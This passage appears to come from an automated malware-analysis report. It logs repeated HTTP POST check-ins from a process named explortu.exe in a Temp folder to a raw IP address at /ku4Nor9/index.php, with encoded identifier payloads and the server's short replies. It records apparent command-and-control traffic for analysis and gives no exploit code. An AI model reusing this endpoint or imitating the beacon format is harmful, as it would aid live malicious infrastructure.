Jun 27, 2024 07:39:08.562237024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49827	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:08.573666096 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:09.241508961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49828	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:09.393208981 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:10.052628040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49829	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:10.061820984 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:10.751013041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49830	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:10.884586096 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:11.549912930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49831	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:11.559528112 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:12.230699062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49832	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:12.356803894 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:13.023261070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49833	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:13.032732964 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:13.728621960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49834	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:13.846033096 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:14.533955097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49835	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:14.543803930 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:15.220196962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49836	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:15.330663919 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:16.008816004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49837	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:16.018965006 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:16.693907022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49838	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:16.820350885 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:17.512495041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49839	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:17.522053003 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:18.211333990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49840	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:18.330804110 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:18.998564005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49841	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:19.009177923 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:19.707465887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49842	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:19.831604958 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:20.508120060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49843	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:20.522250891 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49844	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:21.022584915 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:21.690274000 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49845	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:21.700371027 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:22.387178898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49846	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:22.503120899 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:23.198833942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49847	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:23.217978954 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:23.893836021 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49848	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:24.018728018 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:24.684879065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49849	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:24.699914932 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:25.381881952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

